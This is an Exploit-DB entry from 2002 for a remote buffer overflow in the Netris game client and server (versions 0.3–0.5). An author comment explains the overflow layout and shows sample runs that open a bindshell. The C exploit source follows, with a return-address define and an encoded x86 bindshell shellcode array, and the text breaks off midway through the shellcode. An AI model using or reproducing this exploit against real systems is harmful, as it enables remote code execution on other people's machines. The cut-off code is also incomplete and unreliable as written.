Exploit-DB #21784
Description: Netris 0.3/0.4/0.5 - Remote Memory Corruption
Type: remote
Platform: linux
Date: 2002-09-09
Author: V9

Exploit:
// source: https://www.securityfocus.com/bid/5680/info

Netris is prone to a remotely exploitable memory corruption issue.

Netris is prone to a remotely exploitable memory corruption issue. An attacker may exploit this to execute arbitrary code with the privileges of the user invoking the vulnerable application.

/*[ netris[v0.5]: client/server remote buffer overflow exploit. ]*
 *                                                               *
 * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo)     *
 *                                                               *
 * netris homepage/URL:                                          *
 *  http://www.netris.org                                        *
 *  ftp://ftp.netris.org (v0.52 fixes this bug)                  *
 *                                                               *
 * compile:                                                      *
 *  cc xnetris.c -o xnetris                                      *
 *                                                               *
 * this exploits the netris buffer overflow found roughly a year *
 * ago(https://www.securityfocus.com/bid/5680), and recently      *
 * brought up again, in client-side form. (same code)            *
 *                                                               *
 * when the MyEventType() function is done, the contents of the  *
 * buffer can continue on past netBuf[64], into other data       *
 * segments.  however, the segment right after                   *
 * netBuf[64](netBufSize[4]) will be changed to 0x00000000,      *
 * after the overflow has taken place.  so, instead of using 64  *
 * byte shellcode, we will skip the first 68 bytes(filler).      *
 * this will look like so:                                       *
 *                                                               *
 *  memory:  [netBuf(64)][netBufSize(4)]...[other data segments] *
 *  exploit: [68 filler bytes][nops][shellcode][return address]  *
 *                                                               *
 * since the same inet code is used both for the server, and     *
 * the client; i made this exploit to do both, with no memory    *
 * changes.                                                      *
 *                                                               *
 * when this exploits successfully, netris will display "Network *
 * negotiation failed", and idle until netris is closed(running  *
 * bindshell). (for both client, and server exploitation)        *
 *                                                               *
 * examples(client/server):                                      *
 *  # ./xnetris -b                                               *
 *  [*] netris[v0.5-]: client/server remote buffer overflow exp$ *
 *  [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)         *
 *                                                               *
 *  [*] awaiting connection from: *:9284.                        *
 *  [*] netris server connection established.                    *
 *  [*] netris server connection closed.                         *
 *  [*] checking to see if the exploit was successful.           *
 *  [*] attempting to connect: 127.0.0.1:45295.                  *
 *  [*] successfully connected: 127.0.0.1:45295.                 *
 *                                                               *
 *  Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 E$ *
 *  uid=500(v9) gid=500(v9) groups=500(v9)                       *
 *                                                               *
 *  # ./xnetris localhost                                        *
 *  [*] netris[v0.5-]: client/server remote buffer overflow exp$ *
 *  [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)         *
 *                                                               *
 *  [*] attempting to connect: localhost:9284.                   *
 *  [*] successfully connected: localhost:9284.                  *
 *  [*] checking to see if the exploit was successful.           *
 *  [*] attempting to connect: localhost:45295.                  *
 *  [*] successfully connected: localhost:45295.                 *
 *                                                               *
 *  Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 E$ *
 *  uid=500(v9) gid=500(v9) groups=500(v9)                       *
 *                                                               *
 * (tested on redhat/7.1, and gentoo/r5; netris-0.5 source.      *
 * should work out of the box on linux/x86(+-2048 nop room).  if *
 * not, check the RETADDR define comment)                        *
 *****************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFSIZE 12800 /* filler+nop+shellcode+return addr buffer size.  */
#define RETADDR (0x08051e20+68+2048) /* objdump -x netris | grep netBuf */
#define DFLPORT 9284 /* default netris port.                            */
#define TIMEOUT 10 /* connection timeout. (generic as always)           */
static char x86_exec[]= /* bindshell(45295)&, netric/S-poly.            */
 "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49\x41\x49\x75"
 "\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0\x06\x9e\x26\x86\xdb\x26"
 "\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95"
 "\x06\xb0\x25\x25\x25\x3b\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28"
 "\x88\xd7\x27\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
 "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b\xa2\x55\x5e"
 "\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85\x05\xa2\x55\x06\x95\x06"
 "